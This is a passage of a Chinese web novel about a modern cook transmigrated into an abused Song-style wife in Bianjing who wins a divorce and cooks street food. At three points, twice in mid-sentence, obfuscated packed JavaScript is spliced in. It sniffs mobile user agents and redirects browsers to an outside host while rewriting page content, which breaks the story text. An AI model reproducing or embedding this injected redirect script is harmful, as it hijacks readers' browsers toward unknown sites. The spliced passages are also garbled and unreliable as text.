《汴京市井美食日常》 1. 一朝穿越 “懒得骨子里长蛆的死娼妇,青天白日的就躺在屋子里挺尸!” “屋内屋外的活儿都甩手不管不说,又是请医、又是抓药,不知费了多少银钱!一家子短命鬼,呸!” 一双吊梢三角眼、满脸刻薄相的刘婆子叉着腰站在紧闭的房门前尖声叫骂着。正值午时,明明是秋日暖阳,但这些话却莫名让人打了个寒颤。 门突然从内打开,一个满脸怒色的男孩冲出来,炮弹似地撞向刘婆子,将其向后撞了个趔趄。 “哎哟!该死的拖油瓶!反了天了!老娘今天非打死你不可!” 刘婆子重重地啐了一声,尖利的指甲往男孩身上抓去。 男孩虽然很瘦,但是身子灵活,左躲右闪就是没让刘婆子讨到便宜。 “你再骂一句短命鬼,我就杀了你!” 瘦弱的小脸上,一双晶亮的眸子里闪烁着浓浓的恨意,像只嗜血的狼崽子。 刘婆子心里猛地打了个突,咽了咽口水,她挺了挺腰背,正准备说什么,屋内突然传来一阵凄厉的哭声。 “阿姊!阿姊你怎么了?!阳哥儿快来!” 男孩脸色一变,一阵风似的扑到屋内。 床上躺着一个年轻女人,脸色青白、面容削瘦,身上盖着一层打着补丁的薄被,胸口几乎没有任何起伏。男孩颤抖着将手指伸到她鼻下,随后整个人都僵住了,倔强的双眼中流出两行清泪。 见他如此,床边另一个与他样貌相似的小女孩扑到女人怀里,哭声更大。 刘婆子在门口朝内张望,脸上又喜又忧,嘴里嘀嘀咕咕。 “真是晦气,一场风寒就送了命!早知还开什么药吃,那钱留下来给我儿多参加几场诗会岂不好?” “该死的小娼妇嘴怎么这么紧,死了都不说银钱藏在何处了。罢了,等人一埋,就把这两个拖油瓶卖了,到时候把屋子的地都翻开,我就不信还能找不到!” 说着便吊着嗓子叫道:“老头子!去找两块木板来把人趁早抬走!省得烂在家里坏了我儿的文气!” 隔壁的苗娘子闻声皱了皱眉,暗骂了刘婆子几句,进屋推了推自己的官人。 “听着像是云娘不好,你快去书院把刘秀才叫回来!” 柳朝云意识混沌,整个人像是被什么给紧紧裹住无法动弹,耳边的声音倒是越来越清晰。 自己昏迷之前,隔壁书店老板因使用违规电器引发大火,火势蔓延到了她的小饭馆。为了将与她一起困在火海中的孩子推出去,柳朝云不小心被燃着的横梁砸中,痛楚和烧灼感遍布全身,她很快便晕死过去。 大火中孩子的哇哇大哭声逐渐和耳边的哭声重叠在一起,柳朝云蓦地睁开了双眼。 入目是一片陌生的景象。 头顶是褪到发白的淡青色床帐,日光从发黄的窗户纸透入屋内,半明半暗。 靠墙处是一张缺了一角的八仙桌,漆面斑驳不堪,桌前摆了一条歪歪扭扭的长凳。屋子简陋狭小,除此之外就没有多余的家具了。 柳朝云浑身一凛,这不是她的房间,更不是医院。 再看守在她床前的一男一女两个小孩的打扮和身上的衣裳,柳朝云顿时呆住了。 察觉到身下胸口的微弱起伏,月姐儿止住了抽泣,泪眼朦胧地抬起头。 柳朝云猝不及防和她对视了一瞬,就在这时,脑海中属于原身的记忆铺天盖地地涌了进来,刺得柳朝云脑仁儿生疼。几乎是一瞬间,她无比清醒地意识到,她这是穿越了。 月姐儿扯着阳哥儿的袖子,又哭又笑:“阿姊,阿姊你终于醒了!呜呜呜吓死我和阳哥儿了!” 原身从小到大的记忆像走马灯一样展现在柳朝云面前,二人名字一模一样,但她是孤儿,原身不是。 原身有父有母,还有一对刚满八岁的龙凤胎弟妹,弟弟叫柳朝阳,妹妹叫柳朝月。原身的父母一年前因为时疫双双去世,于是她便将弟妹接到婆家抚养。 说起原身的婆家,那真是一言难尽。 丈夫刘文清十五岁中了秀才,自此便被他老娘当做凤凰蛋一样捧着。刘婆子坚信自己儿子是文曲星下凡,将来必定会飞黄腾达,于是一心想娶个官宦人家的小娘子作儿媳。 可没想到刘文清竟不喜欢女人,偏爱和男人厮混在一起,但这事藏得隐蔽,除了自家人知道外,外人一概不知。 刘婆子暗忖,若真娶个高门妇,拿捏不住对方还在其次,万一把这件事嚷嚷出去了,刘文清的名声岂不毁了?将来还如何给她挣个诰命回来? 思来想去,刘婆子将目光转向了原身。 一来原身父母是开南北杂货店的,算得上小有家资,又宠女儿,陪嫁应是不少。二来原身性子温和内敛,从不与人争执,一看便好拿捏。三来原身生的新月笼眉、目翦秋水,一副清丽脱俗的好样貌,又认得几个字,刘婆子想借她把刘文清拉回到正道上。 既然是说亲,刘婆子自然装的一副好样子,再加上刘文清年纪轻轻便中了秀才,外表又生的文质彬彬,原身父母几番思量之后便应了这门婚事。 婚礼当晚,刘婆子一直趴在新房外偷听,却得知两人根本未圆房,并且婚礼第二天刘文清拔腿就去了书院,半年才回来一次。 刘婆子气得跳脚,深恨原身没用,一改婚前装出来的慈色,对原身动辄打骂,还时不时用尖酸刻薄的话挤兑她。原身的公公在家里就是个透明人,不关己事不开口,对任何事都充耳不闻。 原身惶恐不安,一开始以为真是自己做错了什么导致丈夫、婆母不喜,于是便一直忍耐,等到后面慢慢明白过来想要求助父母与刘家和离时,一场时疫如同飞来横祸,中断了她的念想。 原身带了百贯嫁妆嫁到刘家,刘婆子今日称家里无钱买米下锅,明日称要给刘文清交束脩,后日又借口刘文清要参加文会,东一点西一点从原身手里盘剥钱财。 原身也不是个傻的,十次里面只愿给一两次,刘婆子虽然摔摔打打的表示不满,但原身父母均在,终究不敢做的太过分。 可等到原身父母一死,原身又想把弟妹接到刘家,刘婆子就彻底翻了脸。 为了给弟妹一个可以就近照顾他们的容身之所,原身的嫁妆给刘婆子拿去了十之八九,可她还不知足,竟把主意打到了原身父母留下的财产上。 原身知道那是姐弟三人唯一的指望,不管刘婆子如何打骂,都咬死说父母去世时全都花尽了,一分都不剩。 刘婆子不信,于是便想出了一条毒计。 前天早上她前脚打发原身出去洗衣裳,后脚便强要把妹妹月姐儿送去曲院街的范娘子处做歌舞伎。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341500|199354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 说是“送”月姐儿去个“好”去处,实际上与“卖”无甚差别。 等人进了曲院街,再想出来就要拿钱来赎。到那时,原身自然要乖乖地将银钱双手奉上。 可阳哥儿腿脚快,及时赶到河边报信,原身又惊又怒,不顾湿透了的脚底,深一脚浅一脚地冲到曲院街前撕掳一番,将月姐儿抢了回来。 回来免不了挨了刘婆子一顿责打,正值深秋,原身受了寒气吃了冷风,平时又多受磋磨,身子骨薄弱,当晚便烧得浑浑噩噩。 刘婆子不仅不管不问,而且连一杯热水都不肯给。幸亏有隔壁苗娘子帮忙请来大夫,但原身病得实在狠了,几剂药下去并不见效,就这么香消玉殒了。 柳朝云接收了原身的记忆,与原身感同身受,心内不禁长叹了一口气。 罢了,既来之则安之,她在现代估计已经被烧死了,如今也算是幸运,占了原主的身子得了一条小命。 这么想着,柳朝云似乎觉得身体更有劲儿了一些,刚才还僵麻的身子慢慢缓了过来。 她抬起手,轻轻地在月姐儿和阳哥儿的头上摸了摸。 月姐儿鼻涕眼泪糊了满脸,抱着她的手喜得蹦蹦跳,阳哥儿还怔怔地,惊疑不定地盯着柳朝云的脸。 屋外又传来刘婆子尖锐的叫骂声,似是在与人争执。 柳朝云蹙眉,刘家就是个虎狼窝,绝对不能再待下去了。 她朝着阳哥儿招了招手,在他耳边低语了一句。 阳哥儿瞪大眼睛,抿唇深深看了她一眼后才转身跑出了屋外。 刘婆子骂骂咧咧地走了进来,月姐儿如临大敌般浑身绷紧,但还是张开双臂护在柳朝云面前。 柳朝云鼻子一酸,撑起身子坐了起来,冷冷地盯着刘婆子。 苍白的脸,乌黑的眼,散乱的长发,配上半明半暗的光线,还真有几分女鬼的气质。 “哎哟我的娘!”刘婆子唬得汗毛倒竖,半只脚踏在屋内,半只脚留在屋外,“你,你不是死了吗?!” 月姐儿气得满脸通红:“你才死了呢!我阿姊已经好了!” 刘婆子抚了抚胸口,翻了个白眼:“没死你个小蹄子嚎什么丧!白费我一副棺材板!” 说着她扬起巴掌就要打月姐儿:“刚才你咒谁死呢?个嘴舌生疮的赔钱货,看我不打烂你的嘴!” 柳朝云目光一凝,拉着月姐儿往边上一躲,抬手将刘婆子往后一推。 刘婆子倒退几步,整个人懵了一瞬。 柳朝云向来连高声说话都不敢,这还是她第一次还手。 “好啊你个作死的小娼妇,连婆母都敢打?你眼里还有谁?!”刘婆子回过神来,表情凶神恶煞,像是要活吃了姐妹二人。 就在这时,阳哥儿气喘吁吁地跑了进来,将手中的东西塞到柳朝云手上:“阿姊,给!” 柳朝云掂了掂重量,勾起嘴角一把挥了过去,菜刀的刀刃寒光一闪,不偏不倚恰停在刘婆子的脑门前。 “你再往前一步试试!” 差一点点就血溅当场,刘婆子登时汗出如浆,后背湿了一大片,抖着身子跌到地上,像摊烂泥似的半晌都爬不起来。 柳朝云嗤笑一声,嘱咐阳哥儿:“你带月姐儿先出去,把门关上,我要和‘婆母’好生聊聊。” 2. 和离 阳哥儿见她如此厉害,便点了点头,牵起月姐儿的手,两人一步三回头地往门外走。 屋门吱呀一声关上,房内的光线更暗了几分。 阳哥儿犹豫了一会儿,对着月姐儿“嘘”了一声,小心翼翼地将耳朵贴在门上,月姐儿歪着头有些不解,但也学着他的动作。 经过刚才那一发作,柳朝云感觉自己身上的力气基本恢复了七八成,于是掀开被子下床站了起来。 刘婆子神情惊恐,生怕自己成了砧板上的肉,舔了舔发干的嘴唇,撑着床沿从地上爬了起来,脚步直往后退:“你,你想干什么?” 柳朝云笑眯眯地看着她:“我大病初愈,手上没什么劲儿,差点拿菜刀砍到婆母,您可千万别见怪。” 她嘴上说着别见怪,菜刀的刀刃却仍然直直地对着刘婆子。 刘婆子面皮抖了抖,脚情不自禁地又往后挪了几分。她昂起下巴,摆出架子,色厉内荏道:“你可给我仔细着,伤了人可不是好玩的,你再敢动一下手我就活剥了门外那两个小崽子的皮!” 柳朝云眸中寒光一闪,掂了掂手里的菜刀:“呵,婆母多虑了,菜刀杀人又费力气又血腥,不如下毒来的方便干脆。” “吃的、喝的、用的,随便扔一把砒霜,人就能死的无声无息,您说是吧?” 刘婆子简直要被柳朝云的话吓个半死,嘴里的舌头都有些不太听使唤:“你,你这话什么意思?” 柳朝云收起了脸上的笑:“鱼死网破的意思,您一会儿要卖人,一会儿要剥皮,我横竖是不想再忍了,索性大家都别活!” 说着,砰地一声,刀刃被她狠狠挥在床柱上,立马裂开一道缝隙。 刘婆子尖叫一声:“你疯了!杀人可是犯法的!” 她将声音放软:“云娘,有话好好说,你不同意我把月姐儿送去曲院街,随你就是了,何必动刀子呢。” 这人当初就是用这么一副面孔骗过了原主的父母,柳朝云冷眼看着,态度没有一点松动。 “我要和离。” “什么?!”刘婆子跳脚,她想起还未到手的一大笔银钱,厉声否决,“你休想!” 她转了转眼珠子,先用软话哄骗。 “我儿可是秀才,以后是要做大官的,将来你就是官娘子,出入坐轿、呼奴使婢,享不尽的荣华富贵。你好好想想,和离之后你可还能找到我儿这么好的丈夫?” 刘婆子一边说一边在心里暗啐:呸!等把你家的钱拿到手,立马就休了你这个疯婆娘! 见柳朝云一脸的不为所动,刘婆子也恼了。 “你进我刘家三年,连个蛋都没生下来,和离是休想,只能休妻!出我刘家门,除了你身上穿的衣裳,一砖一瓦你都不能带走!” 柳朝云噗嗤笑出声:“生子?巧妇还难为无米之炊呢,刘文清惯去男妓处鬼混,还是个睡在下面的兔儿爷,□□能不能用还两说,您倒是教教我,怎么生?” 刘婆子面色一变,她心虚地看向门口,低声呵斥:“你胡说什么?!我儿怎会是那种人?!” 贴在门上偷听的阳哥儿脸色瞬间黑了下来,比起半懂不懂的月姐儿,他已经完全听明白了。 他气红了双眼,沉着小脸默默捏紧了拳头。 早知道刘文清是这种人,早知道刘婆子如此刻薄难缠,早知道刘家是个龙潭虎穴,当初就不该让阿姊嫁过来! 可惜他年纪还这样小,不能为阿姊出头,只能眼睁睁的看她受苦受气。 屋内,柳朝云老神在在地笑:“只要还不是个官儿,男人去行院也无人诟病,最多被人说一句风流。可若他是被男人消遣的那一个,那可就是笑柄了。” “这条巷子里多是读书人家,有几位还是刘文清的同窗,我只要高声喊上一嗓子,他们马上就能听到,到时候......” 刘婆子咬着牙瞪着她,恨不得冲上来撕烂柳朝云的嘴,可偏偏又怵她手里不长眼的菜刀,只能翻来覆去的在心里咒骂“作死的小娼妇”。 柳朝云提出条件:“若想保住刘文清的名声,便答应我两个条件:第一,马上和离;第二,我进门时嫁妆足有百贯,如今只剩不到十贯钱,你们刘家要赔我四十贯!” 刘婆子倒吸一口凉气,想也不想回绝了:“四十贯?你做梦!最多十贯!” “那就没得谈了。” 柳朝云作势要往外走,刘婆子怕她当真喊出去坏了自己儿子的名声,咬了咬牙又添了十贯。 柳朝云脚步仍旧未停,刘婆子心都在滴血:“二十五贯!再多的话你就割了我这一身肉拿去卖吧!” 柳朝云知道刘婆子从原身这儿抠出去的前大部分都贴给了刘文清,但他是用在正经处还是别处就不得而知了。二十五贯足够让刘婆子伤筋动骨了,再纠缠下去怕她翻脸不认人,于是柳朝云笑盈盈地转身,掌心朝上:“成交,拿钱吧。” 她扬起嗓子:“阳哥儿,去隔壁苗娘子家跑一趟,请她家官人帮忙写一份和离书。” 阳哥儿早在外面听得一清二楚,应了一声便拉着月姐儿的手一溜烟跑了出去。 刘婆子恨恨地剜了她一眼:“钱可以给你,我儿的坏话你一句都不许对外说!” 柳朝云眨了眨眼:“当然没问题,只要钱到位,我嘴最严了。” 阳哥儿和月姐儿到隔壁时,苗娘子的官人王秀才也才刚到家。他往刘文清就读的书院跑了一趟,谁知扑了个空,书院里的人说他今天请假,人不知去哪了。 刚回家他屁股还没坐热,就听见原本奄奄一息的柳朝云不仅说话中气十足了,连和离的事情都谈好了,惊讶得半天没回过神。 王秀才虽也是秀才,但他自知天分不高,考了几次不中后便放弃了,平时或帮着苗娘子做豆腐,或帮人写写文书贴补家用。 苗娘子一边心疼地往月姐儿和阳哥儿嘴里各塞了一块炸豆腐,一边催促王秀才快写。 “刘家那老虔婆向来不安好心,打的就是吃绝户的主意,离了那个虎狼窝也好,不然你们姐弟三个迟早被她磋磨死!” 和离书写完,苗娘子和王秀才陪着阳哥儿和月姐儿一起去了刘家,也是做个见证。 柳朝云父母已逝,因此女方这边只需她一人签字,而刘老汉和刘婆子是刘文清的生身父母,便代表刘文清在和离书上按下了手印。这些情况王秀才都在和离书上一一写明。 因为柳朝云手中握着刘文清科举路上的致命把柄,所以刘婆子从头到尾都十分爽快,除了掏钱的时候一脸肉痛。 苗娘子见柳朝云竟还能从刘婆子手里抠出钱来,暗暗地对她使了个赞扬的眼色,柳朝云抿着嘴笑了。 收了钱后,柳朝云当即从中数出五十文钱作为王秀才的润笔费,苗娘子没有推辞收下了。 王秀才担心柳朝云不清楚流程,临走时还特意嘱咐她:“和离书还需呈交官府后才生效力。” 柳朝云行礼道谢。 王秀才看着她欲言又止:“你手上这刀......” 柳朝云笑道:“先生有所不知,我是担心刘婆子要打杀我们姐仨哩!这刀是用来防身的。” “若是我们姐仨出了什么事,还请先生和娘子帮忙报个官。” 刘婆子闻言一张脸顿时涨成了猪肝色,往地上狠狠啐了一口,扭着身子回了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341501|199354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屋。 苗娘子再忍不住噗嗤乐出了声,连夸了柳朝云好几句才拉着王秀才回家了。 月姐儿靠在柳朝云身边,虽然不认得字,但还是和阳哥儿两人头碰着头将和离书翻来倒去地看了好几遍。 柳朝云将菜刀插在腰后,也不管路人异样的眼光,带着弟妹径直出门将和离书送去了衙门。 回去的路上,月姐儿知道明天就能不住在刘家了,一改往日脸上的郁色,像小麻雀似的喜得叽叽喳喳。反倒是阳哥儿一脸忧心忡忡:“咱们要去哪儿?去投奔二叔和阿奶吗?” 原身的父亲有一个弟弟,不过是他的继母所出,两人从分家后就再也没来往过,可见关系非常一般。 所以柳家姐弟三人只知道在乡下有这门亲戚,但是从未见过。 柳朝云摇了摇头,她能看出来阳哥儿的心思比较重,人也更懂事些,于是弯下身子悄悄在他耳边道:“爹娘临去前拜托张牙侩卖了家里的杂货铺,另在甜水巷买了一座小院,咱们去那住。” 阳哥儿小大人似地点了点头:“也好,到时阿姊和月姐儿待在家中,我出去找活儿干来贴补家用。” 柳朝云觉得格外心酸,摸了摸他的头:“阳哥儿真懂事,不过你也才八岁呢,家里无需你来挣钱,有阿姊在。” 柳朝云往长街两侧看了看,售卖各色商品的店铺门口高悬着彩色幡子,吃的、喝的、用的、玩的等等琳琅满目。不光如此,还有大小不一的摊子鳞次栉比的排列着,其中夹杂着颇有韵律的吆喝叫卖声。人群中不时有上衫下裤的闲汉穿梭而过,手里提着分层的食盒赶去送“外卖”。 她穿来的这个朝代的许多风俗习惯和她所熟知的宋朝差不多,但如今在位的皇帝她却没什么印象,更像是历史中途在某个关键处拐了个弯,也许她是来了一个平行时空。 但幸运的是,当今官家重文也重武,早就收回了燕云十六州,还在前几年就把边关来犯的周边国家打得落花流水,还因功封了一位异姓国公——魏国公。 当朝太后便是民间出身,凭借着一手好绣工被先帝看中选进宫闱,所以如今并不讲究女人大门不出二门不迈,多的是妇人凭借着手艺出门赚钱。 柳朝云情不自禁地弯了弯唇:“阿姊会做饭,可以在街上摆食摊。” 阳哥儿看了她一眼,抿了抿唇垂下双眸。 不远处,有二人骑着马在街上缓缓而行,其中一人眯着双眸看向柳朝云离去的方向,表情颇为古怪。他问身边的人:“现在的小娘子上街还带着菜刀?” 另一人笑了两声:“兴许人家那是刚买的呢!不过柏兄,你这脸盲不识人的毛病来当军巡使真的合适吗?别是小贼从你面前过你都认不出来吧?” 对方白了他一眼,拍马前行:“这话你留着问楚王去。” “哈哈,你刚撩了他的虎须,我才不去触他的霉头!” “那就闭嘴。” 另一边,柳朝云姐弟三人刚踏进刘家,就见刘婆子正催促着刘老汉将灶房里的菜蔬肉蛋全都往他们自己的屋里搬。她刚损失了一大笔银钱,不愿再让柳朝云占去一点便宜,一粒米都不想留给他们。 月姐儿和阳哥儿有柳朝云撑腰,蹬蹬跑了过去,一人抱着猪油罐,一人拖着一小袋面粉。刘婆子心疼猪油想抢回来,柳朝云一亮菜刀她就怂的缩回了脖子。 最后灶屋里只剩下一把蔫嗒嗒的小葱、两捆柴和浅浅一层底的酱油和盐。 月姐儿扁了扁嘴:“阿姊,怎么办?” 柳朝云点了点她的小鼻子,自信道:“放心,有阿姊在,不会让你们饿肚子的,看阿姊给你们做一道葱油拌索饼。” 3. 葱油饼 柳朝云挽起袖子戴上攀膊,舀了两碗面粉倒入木盆中,加了一点盐增加筋性,加水至面粉成絮状之后开始揉面,直至盆内无干粉后放在一旁醒发。 不消她吩咐,月姐儿已将小葱洗净放在一边,阳哥儿则坐到灶后默默烧火。 柳朝云挖了两勺猪油倒进锅中加热融化,将葱切成手指长的小段,先下入葱白,等炸至发黄不发黑时再下入葱绿。稍炸一会儿,一股好闻的葱油香味就蔓延开来。 月姐儿站在灶台前眼巴巴地看着,下意识咽了咽口水。 等到葱绿也发黄后,柳朝云将它们全都捞出放在一旁,让阳哥儿将火调小,将炸制的葱油分出来一半,另一半倒入酱油和盐快速搅拌均匀盛出。虽没有糖来提鲜,但味道也不会差太多。 炸完葱油,面也醒发的差不多了,柳朝云将面团揉至光滑,擀成方形,一叠一切,再稍微抻两下便放入锅中煮开,煮好后拿调好味道的葱油一拌,再撒上炸得焦脆的葱段,一人一大碗。 “开吃!” 外头太阳逐渐偏西,月姐儿和阳哥儿从早到晚除了苗娘子塞的一块炸豆腐外,什么都没吃,饿的都没感觉了。直到这碗热腾腾的索饼摆在面前,两人的肚子才反应过来,争前恐后地咕噜咕噜叫起来。 三人都饿的狠了,拿起筷子便埋头苦吃。 筋道爽滑的索饼裹满棕褐色的葱油,又香又鲜,炸过的葱段不仅去除了葱的辣味,而且十分香脆,还带着一股荤油味,嚼起来比肉还香。 两个小家伙均吃得干干净净,小肚子都凸起了一块,月姐儿拍拍阳哥儿的,又拍拍自己的,嘻嘻笑出了声。自从他们来到刘家,还是第一次吃得这样饱,碳水化合物给人带来了满满的幸福感,连柳朝云都觉得自己仿佛又活了一次似的。 柳朝云将碗筷放在还温热的锅中就着煮过面的汤洗刷,月姐儿则依赖地挨着她的裙边。 阳哥儿突然出声道:“阿姊下厨的手艺比以前好多了呢。” 柳朝云动作一顿,笑了笑不做解释。 刘家正屋内,刘老汉背着双手站在窗前不断耸动着鼻子:“云娘弄了什么好吃的,竟这样香。” 刘婆子心里有气,摔碟子砸碗就着碳炉弄出一碟子水煮青菜,一碟子发黑的咸菜头,和两碗清澈见底的稀粥:“抠走了我一罐猪油,能不香嘛!小娼妇,我们在这喝稀的,她倒是吃香喝辣,也不怕降下一道天雷劈死她!” 刘老汉眼角瞥向墙角满满当当的米袋和挂起来的咸肉,到底还是怕刘婆子撒泼耍悍,只好就着香气端起碗呲溜喝了一口,不敢多言一句。 柳朝云将碗筷洗好后,头往外探了探,见刘婆子所住的正屋房门紧闭,便悄悄将厨房门掩上,想想不太放心,又搬了两条凳子堵在门后。 然后才拉着月姐儿和阳哥儿凑在米缸前,三人费了一番力气将其挪开。柳朝云挖开一个洞,掏出一个木盒,木盒里赫然放着一张房契和一枚铜钥匙。正是原身父母卖掉杂货铺后置办的,也是刘婆子绞尽脑汁想从原身手里抠出来的东西。 恐怕刘婆子想破脑袋都猜不出,原身竟将东西就藏在她眼皮子底下。 柳朝云将房契叠成方胜,和钥匙一起藏进里衣的暗袋里,然后将木盒扔到灶内一把火烧了个干净。 她烧了一锅热水,洗漱后将剩余的猪油、葱油和面粉都搬回房内,免得半夜被刘婆子摸走了,又收拾好明日要带走的箱笼,将弟妹安置在床内侧、菜刀藏在枕下,才盖被睡下。 次日四更天,巷内的行者头陀报了时辰,又喊了一声“天色晴明”,柳朝云才迷迷糊糊地睁开了眼睛。 她躺了一会儿,直到脑子完全清醒过来才蹑手蹑脚地穿衣下床。月姐儿和阳哥儿头碰头睡得正香,深秋的清晨连空气中都裹着一股寒意,柳朝云将他们的外衣塞进被窝里暖着,掖紧了被角后推门出去进了厨房。 她舀起小半碗面粉与昨日剩下的葱油混在一起搅拌均匀作为油酥,剩余的面粉一股脑地全都倒进盆内,加进温水揉成光滑的面团,分成小剂子后擀成圆形,抹上一层油酥和葱花,在中间切一刀慢慢卷成圆筒状,捏紧收口处然后压扁,再重新擀平。锅底刷上一层薄油,将两面都烙成金黄色。 烙到第五张时,阳哥儿揉着眼睛打着哈欠进来帮忙烧火,她手脚快了很多,不一会儿一大叠香喷喷的葱油饼便全都好了。 柳朝云用油纸分成两份,一份略少些,多的一份拿到房中和弟妹当做早饭。月姐儿也已起床了,正托着腮一动不动地守在三人的家当前。 看见柳朝云,她立马乳燕投林般扑了过来,撅着嘴对阳哥儿说:“下次你守在房内,我给阿姊烧火。” 阳哥儿不置可否地点头:“随便你。” 柳朝云一乐,撕开一张饼子,一半塞进她嘴中,另一半递给阳哥儿,笑着说:“等回了咱们自己家,就再也不用这样了。” 刚出锅的饼子还带着热气儿,面香混合着葱油香,在嘴巴里越嚼越香,月姐儿瞬间忘了阳哥儿敷衍她的事,吃得眯起了眼,小脑袋一摇一晃。 阳哥儿一边吃一边看向柳朝云,眼眶里发酸,在眼泪滑出来之前急忙低下头掩饰。 从家庭圆满到寄人篱下,仿佛就是一夕之间发生的事,自从阿爹阿娘去世之后,他就再也没有家,也再不敢想“家”这个字了。 看着这个阿姊平静温和的面庞,不知怎么地,阳哥儿心里重新燃起了一股力量:他,又有家了。 柳朝云本想装作没看见,谁知月姐儿笑嘻嘻地凑到阳哥儿面前,歪着头从桌子底下看他:“阿姊你的饼做的太好吃了,你看阳哥儿都好吃的哭了呢!” “胡说!男子汉流血不流泪,我才不会哭。”阳哥儿皱起小脸反驳,谁知下一秒就吹出了一个好大的鼻涕泡。 三人均是一愣,然后一起哈哈乐了起来。 正屋里的刘婆子趴在窗前,听着风中传来的笑声,嘴里骂骂咧咧的。 她损失了足足二十五贯钱和一罐猪油,昨夜心疼得一夜都没睡。先是跑到厨房,结果屁都没捞着一个。后又想偷偷摸进柳朝云的房内把钱拿出来,可没想到门后被抵得死紧,若是她用蛮力势必会把人吵醒,菜刀还在那丫头手里放着哩! “笑笑笑,一家子都是丧门星,也不知道有甚好笑的!等我儿考进太学做了官,看我怎么整治你们三个讨债鬼!” 吃罢早饭,天色渐亮,阳哥儿去街巷口叫了一辆驴车。拉车的是一位二十岁出头的小伙子,皮肤微黑,长相和气。 到了刘家,见柳朝云姐弟三个瘦的瘦、小的小,十分吃力,便卷起袖子上前帮忙将箱笼搬到车上,柳朝云连忙道谢。 刘婆子双手叉腰像个母夜叉似的,虎视眈眈地盯着他们手里的东西,整颗心都在滴血。 就在这时,身穿襕衫的刘文清突然脚步匆匆地踏进了巷子,望见门口的驴车,顿时瞪大了双眼。 刘婆子看见他仿佛看见了救星,立马扑过来拍着大腿便嚎了出来:“儿啊!昨儿个你不在,这恶妇险些拿菜刀把为娘我给砍死!你回来的正好,快把她堵住嘴打一顿给娘出气!” 正是吃早饭的时候,巷子内家家户户都有人听到声音端着碗围过来瞧热闹。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341502|199354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 柳朝云一看时机正好,一甩手帕也呜呜哭了起来:“天爷啊,这可真是冤枉死人了!我一个弱女子平时看见只老鼠都害怕,怎敢持刀伤人!” 阳哥儿和月姐儿对视一眼,也都瘪起嘴仰着小脸哭了起来:“冤枉啊!” 有人点头:“可不是呢,云娘平时连高声说话都不曾有过,说她砍人我是不信的。” 有人怀疑道:“可我昨日下午确实见她带着一把菜刀出去又回来。” 刘婆子见有人证,顿时像打了鸡血似的抖了起来。她方才看见刘文清,突然打了个激灵,昨日给了二十五贯封口费却没签下什么凭证,若是柳朝云出了这个门反悔在外胡说,她岂不是要人财两空?刘婆子心想,索性一不做二不休,将这恶妇嘴堵起来灌下哑药关在家里,过几天再远远发卖出去,现在人多,她就是掏出菜刀来也砍不到自家,只会被当做疯妇捆起来。疯妇就算嚎出什么来,也不见得有人会当真。 刘婆子自以为自己想出来一条妙计,谁料柳朝云换了路数,朝着街坊四邻福了福身子:“诸位容禀,自我嫁入刘家,整日操持大小活计,侍奉公婆,无一日躲懒,都是有目共睹的。官人上进要读书,每年束脩便要三十贯,皆出自我嫁妆,我也无甚怨言。” 刘婆子撇了撇嘴:“那是你该的!” 这话一出,众人的眼光多含鄙夷,嫁汉嫁汉,穿衣吃饭,只有世上最没用的男人才会想着用妻子的嫁妆哩。 刘文清脸上挂不住,忙拉自己老娘的袖子,示意她少说话。 柳朝云擦了擦眼睛,继续道:“可前儿个婆母竟要将我妹子卖去曲院街换钱,我不依,婆母便威胁要剥了我们姐弟三人的皮,实在是走投无路才拿起菜刀,只为防身,并不为伤人。” “再者,弟妹是云娘在世上仅剩的亲人,哪怕是讨来一口饭食,我都要养育他们长大。刘家所做,实难再忍,故昨日我柳朝云已和刘文清和离,和离书已递交给官府,自此再无关系!” 月姐儿和阳哥儿本是假哭,听了柳朝云的话,眼泪如断了线的珠子往下落,姐弟三人相互依偎在一起,看热闹的人都触动了几分心肠。 刘婆子彻底傻了眼,可她平时人缘实在太过糟糕,不管如何狡辩根本无人信她。 刘文清听着街坊四邻的窃窃私语,面皮涨得火辣辣的。他想不通往日那个沉默寡言的妻子什么时候竟变得这样口齿伶俐,还句句站在道德上风,让人一时都想不出该如何驳斥。他娘也不是第一天这样,她既然都已忍了三年,为什么不能继续忍下去呢?女人真是麻烦得紧,和离便和离罢! “既如此,那便一别两宽吧。”刘文清忍着不耐朝着柳朝云拱了拱手。再这么闹下去,影响的只会是他的声誉,他还指望明年能拿着先生的推荐信进太学读书,凭借他的才情,定能考入上舍做官,到时再娶个妇人进来做摆设,将相好的接进后院,做那事也不用再偷偷摸摸的了。 柳朝云福了福身后便坐上了驴车要走,刘婆子不依,叫嚷着:“你们昨日在我家白住了一晚,还费了不少柴火,给钱!” 此话一出,刘文清简直想要掩面而逃。 